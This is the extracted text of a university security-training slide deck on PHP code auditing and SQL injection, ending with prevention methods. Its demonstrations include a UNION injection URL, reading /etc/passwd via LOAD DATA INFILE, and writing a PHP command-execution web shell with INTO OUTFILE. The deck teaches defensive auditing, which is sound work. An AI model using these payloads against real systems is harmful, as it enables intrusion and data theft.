Information Security Training Web Application Code Auditing and SQL Injection ©Copyright Justin C. Klein Keane <jukeane@sas.upenn.edu> Vulnerability Assessment Assessments can vary in depth Surface assessments Full code audits What are you looking for? A vulnerability is not necessarily a design flaw. ©Copyright Justin C. Klein Keane <jukeane@sas.upenn.edu> Understanding Threats Threat modeling is an important process Not necessarily germane to vulnerability assessment Threat modeling deals with the “what” and the “why” of security, vulnerability assessment deals with the “how” ©Copyright Justin C. Klein Keane <jukeane@sas.upenn.edu> Exploits In the “gray hat” context, exploits are synonymous with proof of concept Why develop proof of concept? Helps to gauge vulnerability severity Test ease of exploitability Helps model impact to develop remediation and reaction strategies Proof of concept is demonstrative only, not a weaponized exploit ©Copyright Justin C. Klein Keane <jukeane@sas.upenn.edu> Finding Vulnerability White box testing Gray box testing Reading the code Knowing the applications purpose, having credentials, some code available, etc. Black box testing Penetration testing Attacking the application from the outside ©Copyright Justin C. Klein Keane <jukeane@sas.upenn.edu> Tools Automated tools are useful in each testing scenario Help cut down on manual, repetitive tasks Can produce a lot of false positives Are really only useful when guided by a skilled human ©Copyright Justin C. Klein Keane <jukeane@sas.upenn.edu> Essential White Box Tools PHP CLI for testing expressions and flow Perl for automated code analysis and exploit testing IDE (Integrated Development Environment) for syntax highlighting, easily tracing flow over includes, and spotting dangerous functions Eclipse with PHPEclipse and Remote System Explorer (RSE) is ideal ©Copyright Justin C. Klein Keane <jukeane@sas.upenn.edu> Essential Gray/Black Box Tools Tools to manipulate user supplied input quickly and easily, as well as for automated spider and mapping of target Paros proxy for capturing interactions Firefox Tamper Data plugin for on the fly data manipulation http://www.parosproxy.org https://addons.mozilla.org/en-US/firefox/addon/966 Firefox Web Developer plugin for presentation manipulation (JavaScript, CSS, and Cookies) https://addons.mozilla.org/en-US/firefox/addon/60 ©Copyright Justin C. Klein Keane <jukeane@sas.upenn.edu> Approach Look for vulnerabilities methodically Making a list of vulnerability classes is helpful Start with one class, search the application for all instances of that, then move to next Start with easiest and move to most difficult Some flaws will require a complete understanding of intended program operation so some testing involves simply familiarity ©Copyright Justin C. Klein Keane <jukeane@sas.upenn.edu> Example – SQL Injection SQL injection is an extremely common, and dangerous web app vulnerability Fortunately SQL injection is very easy to find using white box testing All SQL queries must pass through a PHP function to reach the database Isolate and examine all SQL queries to find injection potential ©Copyright Justin C. Klein Keane <jukeane@sas.upenn.edu> SQL Injection Vulnerability whereby an attacker can manipulate a SQL query string SQL injection may not always be exploitable SQL injection can be used for other attacks (such as performing a stored cross site scripting (XSS) attack) ©Copyright Justin C. Klein Keane <jukeane@sas.upenn.edu> PHP & MySQL PHP interacts with MySQL by setting up a connection resource then passing queries through <?php $conn = mysql_connect($server,$username,$password); mysql_select_db($database); $query_resource = mysql_query($sql_statement); while ($row = mysql_fetch_row($query_resource)) { echo $row[0]; echo $row[1]; } msyql_close(); ?> ©Copyright Justin C. Klein Keane <jukeane@sas.upenn.edu> Side Note: Information Disclosure Often times connection details are stored in include files Although not SQL injection, information disclosure could occur Connection credentials (username, password, database) must be stored in an Apache readable format This generally means they're in plain text on the file server ©Copyright Justin C. Klein Keane <jukeane@sas.upenn.edu> Side Note: Information Disclosure <?php $link = mysql_connect('localhost', 'mysql_user', 'mysql_password'); if (!$link) { die('Could not connect: ' . mysql_error()); } echo 'Connected successfully'; [rest of the page] mysql_close($link); ?> ©Copyright Justin C. Klein Keane <jukeane@sas.upenn.edu> Typical SQL Injection Vulnerability <?php $id = $_GET['id']; $sql = 'select * from table where id=' . $id; ?> Application expects a URL in the form http://sitename.tld/index.php?id=5 This is supposed to result in a SQL statement such as: select * from table where id=5 ©Copyright Justin C. Klein Keane <jukeane@sas.upenn.edu> Manipulating the query What happens if an attacker calls the URL http://site.tld/index.php?id=5 union select username,password from user The resulting query becomes: select * from table where id=5 union select * from user This could result in sensitive information being rendered by the application ©Copyright Justin C. Klein Keane <jukeane@sas.upenn.edu> User Supplied Input ANY user supplied input can be used to trigger a SQL injection GET, POST, HTTP_REFERER, COOKIE, RSS input, AJAX resources, etc. Just because it's not easy for a user to manipulate the supplied input does not mean it is safe! Using a proxy like Paros will allow most data to be manipulated quite easily ©Copyright Justin C. Klein Keane <jukeane@sas.upenn.edu> PHP Register Globals Setting controlled in /etc/php.ini http://us3.php.net/manual/en/ini.core.php#ini.register-globals Should become extinct very soon Allows all variables to be referred to without context Makes $_GET['id'] the same as $id Default behavior in PHP 3, many legacy applications require it Should be set to off! ©Copyright Justin C. Klein Keane <jukeane@sas.upenn.edu> Dangers of Register Globals Variable collision Can allow malicious users to arbitrarily set or reset critical variables $_SERVER['DOCUMENT_ROOT'] Encourages haphazard coding Leads to confusion when reading/reviewing code ©Copyright Justin C. Klein Keane <jukeane@sas.upenn.edu> Back to SQL Injection SQL queries operate with the privileges of the user account specified in the mysql_connect() function. If account was set up properly it should have minimal permissions Some configurations could use the MySQL root account though, which has privileges of the MySQL process ©Copyright Justin C. Klein Keane <jukeane@sas.upenn.edu> Some SQL Injection Strategies Expose sensitive data Using JOIN or UNION in injection or simply changing parameters Inject malicious data Manipulate INSERT or UPDATE statements Alter database content Read or write operating system files Using privilege normally reserved for root ©Copyright JustinMySQL C. Klein Keane Manipulate or expose system files <jukeane@sas.upenn.edu> PHP and MySQL Quirks In PHP and MySQL you cannot “stack” queries This means attackers only get one SQL statement to work with This makes exploiting PHP/MySQL SQL injection a lot trickier than with other systems Unfortunately automated tools make this a much lower bar than it used to be ©Copyright Justin C. Klein Keane <jukeane@sas.upenn.edu> Developing MySQL Injections After you spot a SQL statement in PHP code that you suspect is vulnerable: Develop your exploit in MySQL command line Much of the query is static, and it can be tricky to figure out a way to alter the rest of the query Use the most favorable environment you can, exploit development is hard enough already! Keep in mind that just because you can't develop an exploit, doesn't mean vulnerability isn't exploitable! Proof of concept need only demonstrate vulnerability. ©Copyright Justin C. Klein Keane <jukeane@sas.upenn.edu> Advantages of MySQL CLI Easy to develop and repeat queries Good error output lets you know what went wrong Easy access to data and table definitions Removes interference from the PHP application layer ©Copyright Justin C. Klein Keane <jukeane@sas.upenn.edu> Sample DB Target Example tables: mysql> desc content; +-------+---------+------+-----+---------+----------------+ | Field | Type | Null | Key | Default | Extra | +-------+---------+------+-----+---------+----------------+ | id | int(11) | NO | PRI | NULL | auto_increment | | data | text | YES | | NULL | | +-------+---------+------+-----+---------+----------------+ 2 rows in set (0.02 sec) mysql> desc users; +----------+-------------+------+-----+---------+----------------+ | Field | Type | Null | Key | Default | Extra | +----------+-------------+------+-----+---------+----------------+ | id | int(11) | NO | PRI | NULL | auto_increment | | username | varchar(30) | YES | | NULL | | | password | varchar(30) | YES | | NULL | | +----------+-------------+------+-----+---------+----------------+ 3 rows in set (0.00 sec) ©Copyright Justin C. Klein Keane <jukeane@sas.upenn.edu> JOIN Data Joins must have a mapping value mysql> select * from content STRAIGHT_JOIN users on content.id=users.id; +----+------+----+----------+-----------+ | id | data | id | username | password | +----+------+----+----------+-----------+ | 1 | foo | 1 | joe | p455w0rd! | +----+------+----+----------+-----------+ 1 row in set (0.03 sec) LEFT JOIN, RIGHT JOIN, INNER JOIN, LEFT OUTER JOIN, STRAIGHT_JOIN ©Copyright Justin C. Klein Keane <jukeane@sas.upenn.edu> UNION data UNION is a popular injection trick NB: Union must have the same number of columns mysql> select * from content where id=1 union select username,password from users where id=1; +------+-----------+ | id | data | +------+-----------+ | 1 | foo | | joe | p455w0rd! | +------+-----------+ 2 rows in set (0.03 sec) ©Copyright Justin C. Klein Keane <jukeane@sas.upenn.edu> PHP/MySQL Injection Injection attacks are largely dependent on the static portions of the query being manipulated Note injection points and static query data in the following injectable statements: select * from user where user_id = $id update user set username='$name', password=md5($password) where id = $id ©Copyright Justin C. Klein Keane <jukeane@sas.upenn.edu> Compound Queries Although you can't “stack” queries in PHP/MySQL, you can issue compound queries Queries restrict what you can do You can't alter the SQL prior to the injection point You can comment out SQL after the injection point ©Copyright Justin C. Klein Keane <jukeane@sas.upenn.edu> INFILE and OUTFILE Special that are usually only associated with privileged accounts Can read/write to the OS with the privileges of the MySQL server ©Copyright Justin C. Klein Keane <jukeane@sas.upenn.edu> INFILE Example mysql> LOAD DATA INFILE '/etc/passwd' INTO TABLE content (data); Query OK, 35 rows affected (0.00 sec) Records: 35 Deleted: 0 Skipped: 0 Warnings: 0 mysql> select * from content; +----+------------------------------------------------------------------------------+ | id | data | +----+------------------------------------------------------------------------------+ | 1 | foo | | 45 | mail:x:8:12:mail:/var/spool/mail:/bin/sh | | 44 | halt:x:7:0:halt:/sbin:/sbin/halt | | 43 | shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown | [...] | 71 | named:x:80:423:system user for bind:/var/lib/named:/bin/false | +----+------------------------------------------------------------------------------+ 36 rows in set (0.00 sec) ©Copyright Justin C. Klein Keane <jukeane@sas.upenn.edu> OUTFILE Can be useful when query doesn't return data directly Can be used to write data to a web accessible location Can be used to write files that can later be read with INFILE injections Cannot be used to alter an existing file ©Copyright Justin C. Klein Keane <jukeane@sas.upenn.edu> OUTFILE Nastiness [jukeane@topsail ~]$ ls -latdr /var/www/html drwxrwsrwx 36 apache jukeane 4096 2009-06-04 08:30 /var/www/html/ [jukeane@topsail ~]$ mysql -u root -p p Enter password: Welcome to the MySQL monitor. Commands end with ; or \g. mysql> select * from content into outfile '/var/www/html/passwd.txt'; Query OK, 36 rows affected (0.00 sec) mysql> select '<?php echo system($_GET[\'cmd\']);?>' from dual into outfile '/var/www/html/backdoor.php'; Query OK, 1 row affected (0.00 sec) mysql> exit Bye ©Copyright Justin C. Klein Keane <jukeane@sas.upenn.edu> OUTFILE Nastiness Cont. [jukeane@topsail ~]$ cat /var/www/html/backdoor.php <?php echo system($_GET['cmd']);?> [jukeane@topsail ~]$ cat /var/www/html/passwd.txt 1 foo 45 mail:x:8:12:mail:/var/spool/mail:/bin/sh 44 halt:x:7:0:halt:/sbin:/sbin/halt ©Copyright Justin C. Klein Keane <jukeane@sas.upenn.edu> Useful Tips: Information Schema Information Schema is a view to database metadata Can be used to enumerate database data such as table names, column names and column types Only information for which the user has privileges can be accessed ©Copyright Justin C. Klein Keane <jukeane@sas.upenn.edu> Information Schema Example mysql> select table_schema, table_name from information_schema.tables; +--------------------+---------------------------------------+ | table_schema | table_name | +--------------------+---------------------------------------+ | test_data | blog | | test_data | user | | test_data | test | | test_data | content | +--------------------+---------------------------------------+ ©Copyright Justin C. Klein Keane <jukeane@sas.upenn.edu> Blind SQL Injection Term of art used to describe SQL injection vulnerabilities that when exploited do not provide directly visible results to the attacker May simply result in an error Could result in an update that may not be apparent Could result in a timing condition etc. ©Copyright Justin C. Klein Keane <jukeane@sas.upenn.edu> Preventing SQL Injection PHP/MySQL has many strategies for preventing SQL injection attacks ALWAYS validate user supplied data We'll see this theme recurring a lot Create accounts with least privilege necessary to carry out application functionality Limit application to one database, and limit database data to one application! ©Copyright Justin C. Klein Keane <jukeane@sas.upenn.edu> PHP Built In Functionality PHP mysql_real_escape_string() http://us2.php.net/mysql_real_escape_strin g Sanitizes variables for use in a query $username = mysql_real_escape_string($_POST['username']); $query = mysql_query(“update user set username = '$username'”); Enforce variable type: $query = mysql_query('select * from content where id=' . intval($_GET['id']); addslashes() is not and effective way to protect against SQL injection ©Copyright Justin C. Klein Keane <jukeane@sas.upenn.edu> Libraries Using third party libraries standardizes code and frees developers from maintenance PEAR MDB2 ADOdb http://pear.php.net/package/MDB2 http://adodb.sourceforge.net/ Project specific libraries If not used properly libraries can become vulnerable to SQL injection ©Copyright Justin C. Klein Keane <jukeane@sas.upenn.edu> Prepared Statements (Bind Variables) MySQLi (MySQL improved) connection Effectively eliminates SQL injection http://us.php.net/mysqli MySQLi may not always be installed or available Example usage: $conn = new mysqli("localhost", "user", "pass", "database"); $statement = $db_connection->prepare("SELECT * FROM content WHERE id = ?"); $statement->bind_param("i", $id); $statement->execute(); ©Copyright Justin C. Klein Keane <jukeane@sas.upenn.edu> Stored Procedures mysql> DELIMITER // mysql> create procedure ret_content ( -> IN inid INT, OUT outdata varchar(255) -> ) -> BEGIN -> select data into outdata from content where id = inid; -> END;// Query OK, 0 rows affected (0.00 sec) ©Copyright Justin C. Klein Keane <jukeane@sas.upenn.edu> Stored Procedures from PHP <?php $conn = mysql_connect('localhost', 'user', 'pass'); mysql_select_db('db'); mysql_query("call ret_content(1,@retval)") ; $retval = mysql_query("select @retval"); while ($row = mysql_fetch_row($retval)) echo $row[0]; mysql_close(); ?> This is by far one of the safest approaches! Combining stored procedures with application accounts that only have access to execute stored procedures is the best option for preventing SQL injection ©Copyright Justin C. Klein Keane <jukeane@sas.upenn.edu>